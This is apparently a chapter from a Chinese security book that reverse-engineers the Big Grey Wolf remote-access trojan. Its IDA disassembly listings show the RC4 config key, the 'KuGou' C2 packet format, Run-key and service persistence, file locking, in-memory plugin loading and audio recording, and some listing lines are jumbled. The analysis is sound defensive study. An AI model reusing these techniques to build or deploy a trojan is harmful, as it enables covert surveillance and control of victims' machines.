大灰狼遠控木馬源碼分析

大家好,我是張小方。

本次小方給大家分析一下大灰狼遠程控制木馬的源碼。

大灰狼遠程控制木馬是一個較爲常見的遠控工具,不同的木馬病毒團伙對其定製改造後發佈了諸多變種。本章將從啓動過程、通信協議、遠控功能三個方面逆向分析該木馬的實現原理。

16.1 調試環境配置

首先需要準備調試環境,安裝虛擬機 VMware Workstation,配置操作系統(本書以 Windows 7 爲例),準備用於調試的病毒樣本,如圖 16-1 所示。

圖 16-1  虛擬調試環境 VMware Workstation 界面

配置好虛擬機後請不要急於調試和分析病毒樣本,我們需要先做快照備份,用於虛擬調試環境的還原工作。依次單擊菜單選項 “虛擬機”→“快照”→“從當前狀態創建快照”,彈出快照創建窗口,如圖 16-2 所示。

圖 16-2  創建快照窗口

重新修改快照名稱,然後單擊 “拍攝快照”,保存快照信息。到這裏,我們的前期準備工作就完成了。配置好虛擬調試環境,即使不小心運行了病毒程序,只須還原快照即可回到虛擬環境的初始狀態。

16.2 病毒程序初步分析

用 Detect It Easy 工具對病毒樣本進行分析後發現,這個病毒程序是由 Microsoft Visual C/ C++(6.0,2003) 編譯器編寫的。

對病毒樣本進行簡單分析後,我們確定了分析的方向,接下來就要使用 IDA 分析病毒樣本的程序,分析後的結果如圖 16-3 所示。

圖 16-3 所示爲入口處的部分反彙編代碼

圖 16-3 所示爲入口處的部分反彙編代碼,是 VS 編譯器生成的代碼,它們並不是我們關心的病毒程序的功能代碼,故不對其進行分析。我們直接從 WinMain 處理代碼開始分析,如圖 16-4 所示。

圖 16-4  病毒樣本 WinMain 代碼片段

從圖 16-4 中可以看出,WinMain 入口病毒不斷插入調用 Sleep API 函數,這是病毒干擾殺毒軟件查殺的一種方式。

16.3 啓動過程分析

首先分析 WinMain 函數中的程序流程,如代碼清單 16-1 所示。

代碼清單 16-1  啓動過程代碼片段 1

.text:00406CBD push 354h ; 參數2:緩衝區大小
.text:00406CC2 push offset g_AppInfo ; 參數1:要解密數據的緩衝區首地址
.text:00406CC7 stosb   
.text:00406CC8 call EncryptInfo ; 調用解密函數解密被加密配置信息1
.text:00406CCD push 19Ah ; 參數2:緩衝區大小
.text:00406CD2 push offset g_ServerInfo ; 參數1:要解密數據的緩衝區首地址
.text:00406CD7 call EncryptInfo ; 調用解密函數解密被加密的配置信息2
.text:00406CDC push 1

//cryptInfo 函數實現:

.text:00406A30 sub esp, 10Ch  
.text:00406A36 push esi  
.text:00406A37 mov esi, ds:Sleep ; 干擾代碼
.text:00406A3D push 0 ; dwMilliseconds
.text:00406A3F mov [esp+114h+key]'M'  
.text:00406A44 mov [esp+114h+var_10B]'o' 
.text:00406A49 mov [esp+114h+var_10A]'t' 
.text:00406A4E mov [esp+114h+var_109]'h' 
.text:00406A53 mov [esp+114h+var_108]'e' 
.text:00406A58 mov [esp+114h+var_107]'r' 
.text:00406A5D mov [esp+114h+var_106]'3' 
.text:00406A62 mov [esp+114h+var_105]'6' 
.text:00406A67 mov [esp+114h+var_104]'0' 
.text:00406A6C mov [esp+114h+var_103], 0 ; 初始化局部變量key爲Monther360
.text:00406A71 call esi ; Sleep ; 干擾代碼
.text:00406A73 lea eax, [esp+110h+key]  
.text:00406A77 push 0Ah ; 參數4:key長度
.text:00406A79
.text:00406A7D lea
push ecx, [esp+114h+sbox]
eax 
; 參數3:key
.text:00406A7E push ecx ; 參數2:保存密鑰緩衝區地址
.text:00406A7F mov ecx, dword_409AD4 ; 參數1:全局對象this指針
.text:00406A85
鑰 call rc4_init ; 調用r c4初始化函數,根據ke y初始化密
.text:00406A8A push 0 ; dwMilliseconds
.text:00406A8C call esi ; Sleep ; 干擾代碼
.text:00406A8E mov edx, [esp+110h+len]  
.text:00406A95 mov eax, [esp+110h+buff]  
.text:00406A9C and edx, 0FFFFh  
.text:00406AA2
.text:00406AA6 lea
push ecx, [esp+110h+sbox]
edx 
; 參數4:要解密數據的緩衝區長度
.text:00406AA7 push eax ; 參數3:要解密數據的緩衝區
.text:00406AA8 push ecx ; 參數2:密鑰緩衝區地址
.text:00406AA9 mov ecx, dword_409AD4 ; 參數1:全局對象this指針
.text:00406AAF call rc4_cryp ; 調用RC4加密函數,根據密鑰解密數據
.text:00406AB4 push 0 ; dwMilliseconds
.text:00406AB6 call esi ; Sleep ; 干擾代碼
.text:00406AB8 pop esi  
.text:00406AB9 add esp, 10Ch  
.text:00406ABF retn

代碼清單 16-1 主要是將全局數據區的應用程序配置信息通過 RC4 加密算法進行解密,解密後的信息如下。配置信息 1:

{
    "服務器IP地址""服務器通信密碼", 2110,
    2110,
    "Mother360""V_130305"
};

配置信息 2:

{
    "YYYYYYYYYYYY",
    "Yugqqu qekcaigu",
    "Igaoqa ymusuyukeamucgowws""%ProgramFiles%\\Rumno Qrstuv""SB360.exe",
    "默認分組",
    "Nmbbre hjveaika", 0,
    0,
    0,
    0,
    0
};

啓動過程代碼片段 2 見代碼清單 16-2。

代碼清單 16-2  啓動過程代碼片段 2

.text:00406CDC
.text:00406CDE push call 1
create_event 
; 創建互斥體,防止病毒重複運行
.text:00406CE3 add esp, 14h 
.text:00406CEE
.text:00406CF4 cmp
jz dword_40955C, ebx
short loc_406CFB 
; 根據配置信息決定是否刪除病毒自身的文件
.text:00406CF6
.text:00406D07 call
retn delete_me
10h 
; 退出程序
.text:00406D2C push 104h ; nSize
.text:00406D31 push ecx ; lpDst
.text:00406D32 push offset Src ; lpSrc
.text:00406D37 call ds:ExpandEnvironmentStringsA
; 配置信息的%SystemRoot%路徑擴充爲C:WINDOWS\
.text:00406D40 mov ecx, dword_409AD4
.text:00406D46 lea edx, [ebp+Dst]
.text:00406D4C push edx
.text:00406D4D push offset Src
.text:00406D52 call strcpy ; 複製擴充後的路徑到配置信息
.text:00406D5A mov ecx, dword_409AD4
.text:00406D60 push offset Src
.text:00406D65 call sub_4044D0 ; 調用函數刪除路徑尾部的'\'字符
.text:00406DA5 push offset asc_409460 ; "%"
.text:00406DAA lea eax, [ebp+Format]
.text:00406DAD push offset Src
.text:00406DB2 push eax ; Format
.text:00406DB3 push offset Dest ; Dest
.text:00406DB8 call sprintf ; 格式化目錄和程序名稱字符串
.text:00406DBD add esp, 10h
.text:00406DC3 mov ecx, dword_409AD4
.text:00406DC9 push offset unk_4090E0
.text:00406DCE push offset unk_409C34
.text:00406DD3 call strcpy ; 獲取配置信息和服務器通信的密碼
.text:00406DDB cmp dword_409568, ebx
.text:00406DE1 jz short loc_406DE8 ; 根據配置信息確定是否關閉進程
.text:00406DE3 call KillProcess
.text:00406DE8 mov al, byte_409560
.text:00406DED test al, al
.text:00406DEF jz loc_406FFF ; 判讀是否重新安裝
.text:00406E17 push 104h ; nSize
.text:00406E1C push ecx ; lpFilename
.text:00406E1D push ebx ; hModule
.text:00406E1E call ds:GetModuleFileNameA  ; 獲取程序路徑
.text:00406E27 mov ecx, dword_409AD4
.text:00406E2D lea edx, [ebp+Filename]
.text:00406E33 push offset Dest
.text:00406E38 push edx
.text:00406E39 call strcmp
.text:00406E3E test eax, eax ; 判斷安裝路徑
.text:00406E40 jnz short loc_406EC0
.text:00406E42 mov al, byte_409560
.text:00406E47 mov word_409C10, 3
.text:00406E50 cmp al, 2
.text:00406E52 jnz short loc_406EB0 ; 類型爲2表示以服務方式啓動病毒
.text:00406E85 mov edi, ds:StartServiceCtrlDispatcherA ; 啓動服務
.text:00406EB0 call run_main ; 直接方式運行病毒
 

.text:00406F25
.text:00406F2A push
call offset g_AppInfo
sub_4063F0 
; 寫入服務版本安裝時間信息到註冊表
.text:00406F2F add esp, 1Ch  
.text:00406F36 push offset a3 ; "+3"
.text:00406F3B push offset DisplayName ; lpDisplayName
.text:00406F40 lea ecx, [ebp+Dest]  
.text:00406F46 push offset g_AppInfo ; lpServiceName
.text:00406F4B push ecx ; int
.text:00406F4C call InstallService ; 安裝病毒服務
.text:00406F6D jnz short loc_406FBD ; 循環檢查進程是否運行
.text:00406FC1
.text:00406FC8 cmp
jnz byte_409560, 1
short loc_406FDE 
;

檢查配置信息,查看是否通過註冊表開機運行:

.text:00406FCA lea ecx, [ebp+Dest]  
.text:00406FD0 push ecx ; lpData
.text:00406FD1 push offset g_AppInfo ; int
.text:00406FD6call WriteReg
; 寫入註冊表到SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

// run_main函數實現:
.text:00406B10 mov eax, dword_409564 
.text:00406B15 push esi 
.text:00406B16 mov esi, ds:Sleep 
.text:00406B1C
.text:00406B1E test
jz eax, eax
short loc_406B31 
; 根據配置信息判斷是否獨佔打開文件並運行
.text:00406B24 push offset Dest ; lpFileName
.text:00406B29 call occupy_file ; 調用函數獨佔目標文件
.text:00406B2E
.text:00406B35 add
call esp, 4
socket_main 
; 調用網絡通信的主入口函數
.text:00406B3A pop esi 
.text:00406B3B retn  

// occupy_file函數實現:
.text:0040617F call ds:GetCurrentProcess; 獲取當前進程
lea eax, [esp+30h+TokenHandle]
.text:0040618F push eax ; TokenHandle
.text:00406190 push 28h ; DesiredAccess
.text:00406192 push edi ; ProcessHandle
.text:00406193 call ds:OpenProcessToken ; 打開當前進程令牌
.text:00406199 test eax, eax
.text:0040619B jz loc_406279
.text:004061B9 mov cl, 69h
.text:004061BB mov dl, 67h
.text:004061BD mov [esp+30h+var_B], cl
.text:004061C1 mov [esp+30h+var_9], cl
.text:004061C5 mov [esp+30h+var_E], dl
.text:004061C9 mov [esp+30h+var_6], dl
.text:004061CD lea ecx, [esp+30h+NewState.Privileges]
.text:004061D1 lea edx, [esp+30h+Name]
.text:004061D5 push ecx ; lpLuid
.text:004061D6 mov al, 65h
.text:004061D8 push edx ; lpName
.text:004061D9 push 0 ; lpSystemName
.text:004061DB mov [esp+3Ch+Name], 53h
.text:004061E0 mov [esp+3Ch+var_13], al
.text:004061E4 mov [esp+3Ch+var_12], 44h
 


.text:004061E9 mov [esp+3Ch+var_11], al 
.text:004061ED mov [esp+3Ch+var_10], 62h 
.text:004061F2 mov [esp+3Ch+var_F], 75h 
.text:004061F7 mov [esp+3Ch+var_D], 50h 
.text:004061FC mov [esp+3Ch+var_C], 72h 
.text:00406201 mov [esp+3Ch+var_A], 76h 
.text:00406206 mov [esp+3Ch+var_8], 6Ch 
.text:0040620B mov [esp+3Ch+var_7], al 
.text:0040620F mov [esp+3Ch+var_5], al 
.text:00406213
.text:00406218 mov
call [esp+3Ch+var_4]0
ds:LookupPrivilegeValueA; 查詢令牌特權
.text:0040624A push 0 ; ReturnLength
.text:0040624C push 0 ; PreviousState
.text:0040624E lea eax, [esp+38h+NewState]  
.text:00406252 push 0 ; BufferLength
.text:00406254 push eax ; NewState
.text:00406255 push 0 ; DisableAllPrivileges
.text:00406257 push ecx ; TokenHandle
.text:00406258 call ds:AdjustTokenPrivileges ; 調整令牌特權
.text:0040626A mov edx, [esp+30h+TokenHandle]  
.text:0040626E push edx ; hObject
.text:0040626F call ds:CloseHandle ; 關閉句柄
.text:0040627D pop edi  
.text:0040627E pop esi  
.text:0040627F add esp, 28h  
.text:00406282 retn

代碼清單 16-2 首先根據解密後配置的信息決定病毒的啓動方式:直接啓動、通過服務啓動、修改註冊表 SOFTWARE\Microsoft\Windows\CurrentVersion\Run 開機啓動,然後讀取和保存註冊表信息,最後病毒進入真正的入口代碼 run_main。在 run_main 中,病毒根據配置信息決定是否以獨佔方式運行,使病毒程序無法被刪除,其獨佔運行原理如下。啓動過程代碼片段 3 如代碼清單 16-3 所示。

❑ 通過 AdjustTokenPrivileges 提權。

❑ 通過 OpenProcess 打開 System 進程(PID 爲 4)。

❑ 通過 CreateFile 打開獨佔大文件句柄。

❑ 通過 DuplicateHandle 將文件句柄複製到 System 進程中。

❑ 最後病毒通過 socket_main 函數進入和服務器通信的流程。

代碼清單 16-3  啓動過程代碼片段 3

.text:004014CD lea eax, [esp+1ACh+WSAData]
.text:004014D1 mov byte ptr [esp+1ACh+var_4]3
.text:004014D9 push eax ; lpWSAData
.text:004014DA push 202h ; wVersionRequested
.text:004014DF mov dword ptr [esi], offset off_408248
.text:004014E5 call ds:WSAStartup ; 初始化socket庫
.text:004014EB push 0 ; lpName
.text:004014ED push 0 ; bInitialState
.text:004014EF push 1 ; bManualReset
.text:004014F1 push 0 ; lpEventAttributes
 


.text:004014F3 call ds:CreateEventA ; 創建socket事件對象
.text:004014F9 lea ecx, [esp+1ACh+key]
.text:004014FD mov [esi+0ACh], eax
.text:00401503 push 5
.text:00401505 mov byte ptr [esi+0B0h]0
.text:0040150C mov dword ptr [esi+0A8h], 0FFFFFFFFh
.text:00401516 mov al, 'u'
.text:00401518 push ecx
.text:00401519 mov ecx, g_Obj
.text:0040151F push offset unk_409594
.text:00401524 mov [esp+1B8h+key]'K'
.text:00401529 mov [esp+11h], al
.text:0040152D mov [esp+1B8h+var_1A6]'G'
.text:00401532 mov [esp+1B8h+var_1A5]'o'
.text:00401537 mov [esp+1B8h+var_1A4], al ; 初始化通信的包頭字符串爲KuGou
.text:0040153B call memcpy ; 複製通信包頭字符串
.text:00401540 mov ecx, g_Obj
.text:00401546 push offset g_key
.text:0040154B call strlen ; 獲取配置信息key的長度
.text:00401550 mov ecx, g_Obj
.text:00401556 push eax
.text:00401557 push offset g_key
.text:0040155C push offset g_sbox
.text:00401561 call rc4_init ; 初始化RC4密鑰
.text:0040684D lea ecx, [esp+0A054h+var_A024]
.text:00406851 all connect_server ; 連接服務器

// connect_server函數實現
.text:004016C7 push 6 ; protocol
.text:004016C9 push 1 ; type
.text:004016CB push 2 ; af
.text:004016CD call ds:socket ; 初始化TCP socket
.text:004016D3 cmp eax, 0FFFFFFFFh 
.text:004016D6 mov [esi+0A8h], eax 
.text:004016DC jnz short loc_4016E9 ; 檢查socket是否初始化成功
.text:004016DE pop edi 
.text:004016DF pop esi 
.text:004016E0 xor eax, eax 
.text:004016E2 pop ebp 
.text:004016E3 add esp, 1Ch 
.text:004016E6 retn 8 
.text:004016E9 push ebp ; name
.text:004016EA call ds:gethostbyname ; 查詢DNS服務器,根據域名轉換地址
.text:004016F0 mov edi, eax 
.text:004016F2 test edi, edi 
.text:004016F4 jnz short loc_4016FF ; 檢查查詢結果
.text:004016F6 pop edi 
.text:004016F7 pop esi 
.text:004016F8 pop ebp 
.text:004016F9 add esp, 1Ch 
.text:004016FC retn 8 
.text:004016FF mov eax, dword_40959C 
.text:00401704 mov [esp+28h+var_10.sa_family]2
.text:0040170B test eax, eax
.text:0040170D jz short loc_401719
.text:0040170F mov cx, word_409020 
.text:00401716 push ecx 
.text:00401717 jmp short loc_40171E ; 端口大小尾轉換
.text:00401719 mov edx, dword ptr [esp+28h+hostshort]
.text:0040171D push edx ; hostshort
.text:0040171E call ds:htons ; 端口大小尾轉換
.text:00401724 mov word ptr [esp+28h+var_10.sa_data], ax
.text:00401729 mov eax, [edi+0Ch]
.text:0040172C push 10h ; namelen
.text:0040172E mov ecx, [eax]
.text:00401730 lea eax, [esp+2Ch+var_10]
.text:00401734 push eax ; name
.text:00401735 mov edx, [ecx]
.text:00401737 mov ecx, [esi+0A8h] ; 初始化SOCKADDR結構體
.text:0040173D push ecx ; s
.text:0040173E mov dword ptr [esp+34h+var_10.sa_data+2], edx
.text:00401742 call ds:connect ; 根據配置信息連接服務器
.text:00401748 cmp eax, 0FFFFFFFFh
.text:0040174B jnz short loc_401758 ; 檢查連接是否成功
.text:00401787 push 4 ; optlen
.text:00401789 push eax ; optval
.text:0040178A push 8 ; optname
.text:0040178C push 0FFFFh ; level
.text:00401791 push ecx ; s
.text:00401792 mov [esp+3Ch+name]1
.text:0040179A call ds:setsockopt ; 開啓KeepAlive機制
.text:004017A0 test eax, eax
.text:004017A2 jnz short loc_4017DE
.text:004017A4 mov ecx, [esi+0A8h]
.text:004017AA push eax ; lpCompletionRoutine
.text:004017AB lea edx, [esp+2Ch+name]
.text:004017AF push eax ; lpOverlapped
.text:004017B0 push edx ; lpcbBytesReturned
.text:004017B1 push eax ; cbOutBuffer
.text:004017B2 push eax ; lpvOutBuffer
.text:004017B3 lea eax, [esp+3Ch+vInBuffer]
.text:004017B7 push 0Ch ; cbInBuffer
.text:004017B9 push eax ; lpvInBuffer
.text:004017BA push 98000004h ; dwIoControlCode
.text:004017BF push ecx ; s
.text:004017C0 mov [esp+4Ch+vInBuffer]1
.text:004017C8 mov [esp+4Ch+var_18], 0EA60h
.text:004017D0 mov [esp+4Ch+var_14], 1388h
.text:004017D8 call ds:WSAIoctl ; 設置超時信息
.text:004017DE push 1
.text:004017E0 push 0
.text:004017E2 push 0
.text:004017E4 push esi
.text:004017E5 push offset recv_proc ; 參數3:線程回調函數
.text:004017EA push 0
.text:004017EC push 0
.text:004017EE mov byte ptr [esi+0B0h]1
.text:004017F5 call create_threaad ; 創建接收主控端數據線程

// recv_proc函數實現:
.text:00401BC9 push 0 ; timeout
.text:00401BCB push 0 ; exceptfds
.text:00401BCD lea ecx, [esp+2380h+readfds] 
.text:00401BD4 push 0 ; writefds
.text:00401BD6 push ecx ; readfds
.text:00401BD7 push 0 ; nfds
.text:00401BD9 call ds:select ; select檢查主控端發送的數據
.text:00401BDF cmp eax, 0FFFFFFFFh 
.text:00401BE2 jz loc_401DD6 
.text:00401BE8 test eax, eax 
.text:00401BEA jle loc_401DC3 
.text:00401BF0 mov ecx, 800h 
.text:00401BF5 xor eax, eax 
.text:00401BF7 lea edi, [esp+2378h+buf] 
.text:00401C0A push 0 ; flags
.text:00401C0C lea edx, [esp+237Ch+buf] 
.text:00401C13 push 2000h ; len
.text:00401C18 push edx ; buf
.text:00401C19 push eax ; s
.text:00401C1A call ds:recv ; 接收主控端發送的數據

如代碼清單 16-3 所示,病毒接下來初始化 socket,然後創建一個線程,循環接收從遠程主控端發送來的數據。

16.4 通信協議分析

通信協議分析如代碼清單 16-4 所示。

代碼清單 16-4  通信協議代碼片段

.text:00401C78 lea eax, [esp+2378h+buf]
.text:00401C7F push 9 ; 參數4:數據長度
.text:00401C81 lea ecx, [esp+237Ch+sbox]
.text:00401C85 push eax ; 參數3:緩衝區buf
.text:00401C86 push ecx ; 參數2:密鑰
.text:00401C87 jmp short loc_401C97 ; 參數1:this指針
.text:00401C89 lea edx, [esp+2378h+buf]
.text:00401C90 push esi
.text:00401C91 lea eax, [esp+237Ch+sbox]
.text:00401C95 push edx
.text:00401C96 push eax
.text:00401C97 mov ecx, g_Obj ; 參數1:this指針
.text:00401C9D call rc4_cryp ; RC4解密數據頭,接收數據的前9字節
.text:00401CA6 lea ecx, [esp+2378h+buf]
.text:00401CAD push esi ; Size
.text:00401CAE push ecx ; Src
.text:00401CAF lea ecx, [esp+2380h+buff_obj] ; 緩衝區對象this指針
.text:00401CB3 call buff_save ; 保存接收的數據到緩衝區
.text:00401CBA mov [esp+237Ch+size]0
.text:00401CC4 push 4 ; Size
.text:00401CC6 push 5 ; 參數2:offset,緩衝區偏移
.text:00401CC8 lea ecx, [esp+2380h+buff_obj] ; 參數1:緩衝區對象this指針

.text:00401CCC call buff_get ; 獲取緩衝區的數據
.text:00401CD1 lea edx, [esp+237Ch+size]
.text:00401CD5 push eax ; Src
.text:00401CD6 push edx ; Dst
.text:00401CD7 call memmove
; 從緩衝區獲取數據的大小,前5字節爲標誌,後4字節爲數據長度
.text:00401CDC add esp, 0Ch
.text:00401CE3 push 0 ; 參數2:offset,緩衝區偏移
.text:00401CE5 lea ecx, [esp+237Ch+buff_obj] ; 參數1:緩衝區對象this指針
.text:00401CE9 mov edi, offset unk_409594
.text:00401CEE call buff_get ; 獲取前5字節的標誌
.text:00401CF3 mov esi, eax
.text:00401CF5 mov ecx, 5
.text:00401CFA xor eax, eax
.text:00401CFC repe cmpsb
.text:00401CFF jnz loc_401DA7 ; 判斷前5字節標誌是否爲KuGou
.text:00401D07 mov eax, [esp+2378h+size]
.text:00401D0B test eax, eax
.text:00401D0D jz loc_401DC3
.text:00401D13 lea ecx, [esp+2378h+var_2364]
.text:00401D17 call buff_get_size
.text:00401D1C mov ecx, [esp+2378h+size]
.text:00401D20 cmp eax, ecx
.text:00401D22 jb loc_401DC3
.text:00401D28 push ecx ; unsigned int
.text:00401D29 call ??2@YAPAXI@Z ; 申請數據緩衝區
.text:00401D2E mov ecx, [esp+237Ch+size]
.text:00401D32 add esp, 4
.text:00401D35 mov esi, eax
.text:00401D37 push ecx ; Size
.text:00401D38 push 0
.text:00401D3A lea ecx, [esp+2380h+var_2364]
.text:00401D3E call buff_get
.text:00401D43 push eax ; Src
.text:00401D44 push esi ; Dst
.text:00401D45 call memmove ; 保存數據到緩衝區
.text:00401D4A add esp, 0Ch
.text:00401D4D lea ecx, [esp+2378h+buff_obj]
.text:00401D51 call buff_clean ; 清除緩衝區數據
.text:00401D56 lea ecx, [esp+2378h+var_2364]
.text:00401D5A call buff_clean ; 清除緩衝區數據
.text:00401D5F mov ecx, g_Obj
.text:00401D65 push 100h
.text:00401D6A lea edx, [esp+237Ch+sbox]
.text:00401D6E push offset g_sbox
.text:00401D73 push edx
.text:00401D74 call memcpy ; 複製密鑰
.text:00401D79 lea ecx, [esp+2378h+sbox]
.text:00401D7D mov eax, [esp+2378h+size]
.text:00401D81 push eax
.text:00401D82 push esi
.text:00401D83 push ecx
.text:00401D84 mov ecx, g_Obj
.text:00401D8A call rc4_cryp ; 根據頭的數據長度解密數據
.text:00401D8F mov ecx, ebx
 


.text:00401D91 mov edx, [esp+2378h+size]
.text:00401D95 push edx ; prev_size
.text:00401D96 push esi ; Src
.text:00401D97 call parse_data ; 調用解析數據函數

//parse_data函數實現代碼:
.text:00401F1D push 5 ; Size
.text:00401F1F push ecx ; Dst
.text:00401F20 mov ecx, edi ; 參數1:對象this指針
.text:00401F22 call buff_read ; 讀取標誌5字節
.text:00401F2A lea edx, [ebp+prev_size]
.text:00401F2D push 4 ; Size
.text:00401F2F push edx ; Dst
.text:00401F30 mov ecx, edi
.text:00401F32 call buff_read ; 讀取壓縮前的數據大小
.text:00401F3A lea eax, [ebp+aft_size]
.text:00401F3D push 4 ; Size
.text:00401F3F push eax ; Dst
.text:00401F40 mov ecx, edi ; 參數1:對象this指針
.text:00401F42 call buff_read ; 讀取壓縮後的數據大小
.text:00401F4A mov ecx, [ebp+prev_size]
.text:00401F4F lea ebx, [ecx-11h] ; 申請空間的大小減去頭大小,頭大小爲17字節
.text:00401F54 push ebx ; unsigned int
.text:00401F55 call ??2@YAPAXI@Z ; 申請緩衝區空間
.text:00401F5A add esp, 4
.text:00401F5D mov [ebp+Src], eax
.text:00401F64 mov edx, [ebp+Src]
.text:00401F67 push ebx ; Size
.text:00401F68 push edx ; Dst
.text:00401F69 mov ecx, edi ; 參數1:對象this指針
.text:00401F6B call buff_read ; 讀取數據
.text:00401F74 lea eax, [ebp+var_18]
.text:00401F77 push 4 ; Size
.text:00401F79 push eax ; Dst
.text:00401F7A mov ecx, edi ; 參數1:對象this指針
.text:00401F7C call buff_read ; 讀取壓縮標誌
.text:00401F85 cmp [ebp+var_18], 1C03h
.text:00401F8C jnz short loc_401FCD ; 檢查壓縮標誌,數據是否壓縮過,壓縮過則不處理
.text:00401F8E mov ecx, [ebp+var_14]
.text:00401F91 add ecx, 2Ch
.text:00401F94 call buff_clean ; 清空緩衝區
.text:00401F99 mov eax, [ebp+var_14]
.text:00401F9C mov edx, [ebp+Src]
.text:00401F9F push ebx ; Size
.text:00401FA0 push edx ; Src
.text:00401FA1 lea ebx, [eax+2Ch]
.text:00401FA4 mov ecx, ebx ; 參數1:對象this指針
.text:00401FA6 call buff_save ; 保存解密解壓後的數據到對象緩衝區
.text:00401FAB mov ecx, ebx ; 參數1:對象this指針
.text:00401FAD call buff_get_size ; 獲取緩衝區大小
.text:00401FB2 push 0
.text:00401FB4 mov ecx, ebx ; 參數1:對象this指針
.text:00401FB6 mov ebx, eax
.text:00401FB8 call buff_get ; 獲取緩衝區地址
.text:00401FBD mov ecx, [ebp+var_14]
 


.text:00401FC0 push ebx
.text:00401FC1 push eax
.text:00401FC2 mov ecx, [ecx+0B4h]
.text:00401FC8 mov edx, [ecx] ; 獲取對象虛表
.text:00401FCA call dword ptr [edx+4] ; 調用虛函數parse_command解析命令

//parse_command函數實現代碼:
.text:00403620 push esi
.text:00403621 mov esi, ecx
.text:00403623 mov eax, [esi+4]
.text:00403626 mov ecx, [eax+0A8h]
.text:0040362C mov eax, [esp+4+arg_0]
.text:00403630 mov dword_4099C0, ecx
.text:00403636 xor ecx, ecx
.text:00403638 mov cl, [eax] ; switch第一個字節的命令

如代碼清單 16-4 所示,經過分析發現所有數據都經過 RC4 加密,其他用於描述頭部信息的數據共有 17 字節,整個協議格式描述如表 16-1 所示。

命令功能如表 16-2 所示。

16.5 遠控功能分析

遠控功能分析如代碼清單 16-5 所示。

代碼清單 16-5  從主控端下載並運行插件功能代碼片段

.text:0040287A mov eax, g_isLoad ; 插件加載標誌
.text:0040287F push ebp 
.text:00402880 mov [esp+60h+var_44], cl
.text:00402884 mov [esp+60h+var_3A], cl
.text:00402888 mov cl, byte ptr word_409C10
.text:0040288E xor ebp, ebp
.text:00402890 mov bl, 'S'
.text:00402892 push esi
.text:00402893 mov esi, ds:Sleep
.text:00402899 mov [esp+64h+var_43]'I'
.text:0040289E test eax, eax
.text:004028A0 mov [esp+64h+var_42]'D'
.text:004028A5 mov [esp+64h+var_41]':'
.text:004028AA mov [esp+64h+var_40]'2'
.text:004028AF mov [esp+64h+var_3F]'0'
.text:004028B4 mov [esp+64h+var_3D]'3'
.text:004028B9 mov [esp+64h+var_3C]'-'
.text:004028BE mov [esp+64h+var_3B], bl
.text:004028C2 mov [esp+64h+var_38], 0 ; 插件文件ID標誌
.text:004028C7 mov byte ptr [esp+64h+IsLoad], cl
.text:004028CB jnz loc_402A41 ; 檢查是否加載插件
.text:004028D1 mov ecx, [esp+64h+arg_4]
.text:004028D5 push ecx
.text:004028D6 call get_control_path ; 獲取插件保存路徑:C:\windows\system32
.text:004028DB add esp, 4
.text:004028DE push ebp ; dwMilliseconds
.text:004028DF call esi ; Sleep
.text:004028E1 push offset FileName ; lpFileName
.text:004028E6 call ds:GetFileAttributesA
.text:004028EC cmp eax, 0FFFFFFFFh
.text:004028EF jz short loc_402966 ; 檢查插件動態庫文件是否存在
.text:00402982 push 0 ; hTemplateFile
.text:00402984 push 80h ; dwFlagsAndAttributes
.text:00402989 push 3 ; dwCreationDisposition
.text:0040298B push 0 ; lpSecurityAttributes
.text:0040298D push 0 ; dwShareMode
.text:0040298F push 80000000h ; dwDesiredAccess
.text:00402994 push offset FileName ; lpFileName
.text:00402999 call ds:CreateFileA ; 插件更新完成,打開插件文件
.text:0040299F cmp eax, 0FFFFFFFFh
.text:004029A2 mov hObject, eax
.text:004029A7 jnz short loc_4029B2
.text:004029A9 pop esi
.text:004029AA pop ebp
.text:004029AB xor eax, eax
.text:004029AD pop ebx
.text:004029AE add esp, 58h
.text:004029B1 retn 
.text:004029B2 push 0 ; dwMilliseconds
 
.text:004029B4 call esi ; Sleep 
.text:004029B6 mov eax, hObject 
.text:004029BB push 0 ; lpFileSizeHigh
.text:004029BD push eax ; hFile
.text:004029BE call ds:GetFileSize ; 獲取文件大小
.text:004029C4 push 4 ; flProtect
.text:004029C6 push 3000h ; flAllocationType
.text:004029CB push eax ; dwSize
.text:004029CC push 0 ; lpAddress
.text:004029CE mov nNumberOfBytesToRead, eax
.text:004029D3 call ds:VirtualAlloc ; 根據文件大小申請內存緩衝區加載
.text:004029DB mov lpBuffer, eax
.text:004029E2 mov ecx, nNumberOfBytesToRead
.text:004029E8 mov edx, lpBuffer
.text:004029EE mov eax, hObject
.text:004029F3 push 0 ; lpOverlapped
.text:004029F5 push offset NumberOfBytesRead ; lpNumberOfBytesRead
.text:004029FA push ecx ; nNumberOfBytesToRead
.text:004029FB push edx ; lpBuffer
.text:004029FC push eax ; hFile
.text:004029FD call ds:ReadFile ; 讀取文件數據
.text:00402A03 push 0 ; dwMilliseconds
.text:00402A05 call esi ; Sleep
.text:00402A07 mov ecx, hObject
.text:00402A0D push ecx ; hObject
.text:00402A0E call ds:CloseHandle ; 關閉文件
.text:00402A18 mov edx, lpBuffer
.text:00402A1E push edx
.text:00402A1F call load_pe
; 內存中模擬加載PE文件,避免調用LoadLibrary
.text:00402A24 add esp, 4
.text:00402A27 mov dword_4098B0, eax
.text:00402A2C test eax, eax
.text:00402A2E jnz short loc_402A37 ; 修改內存加載標誌
.text:00402A30 pop esi
.text:00402A31 pop ebp
.text:00402A32 pop ebx
.text:00402A33 add esp, 58h
.text:00402A36 retn
.text:00402A37 mov g_isLoad, 1 ; 修改內存加載標誌
.text:00402A45 mov eax, [esp+64h+arg_8]
.text:00402A49 mov ecx, dword_4098B0
.text:00402A4F push eax
.text:00402A50 push ecx
.text:00402A51 call get_proc_address
; 調用函數,遍歷導出表獲取插件導出函數地址,模擬API:GetProcAddress功能

如代碼清單 16-5 所示,經過分析發現該病毒爲了隱祕地運行插件的核心惡意代碼,先從遠程服務器下載插件動態庫;然後動態申請內存,模擬系統 PE 裝載流程,將惡意代碼加載進內存;最後通過自己模擬的 GetProcAddress 函數調用動態庫的導出函數,且該病毒對動態庫文件格式做了加密,修改了 PE 文件的前 2 個字節,導致 IDA 無法解析。注意,不同的變種病毒可能會使用不同的加密方式,這裏使用 WinHex 將前 2 字節修改爲 MZ,IDA 可以正常反彙編,如圖 16-5 所示。

圖 16-5 解密後的 PE 文件

如代碼清單 16-6 所示,該病毒使用 Windows 波形音頻 API 實現錄音功能。

代碼清單 16-6  語音監控代碼片段

DllAudio函數實現代碼:
.text:10008DA0
.text:10008DA6 sub
call esp, 1D0h
ds:waveInGetNumDevs 
; 
獲取音頻輸入設備
.text:10013B66 push 20000h ; fdwOpen
.text:10013B6B push eax ; dwInstance
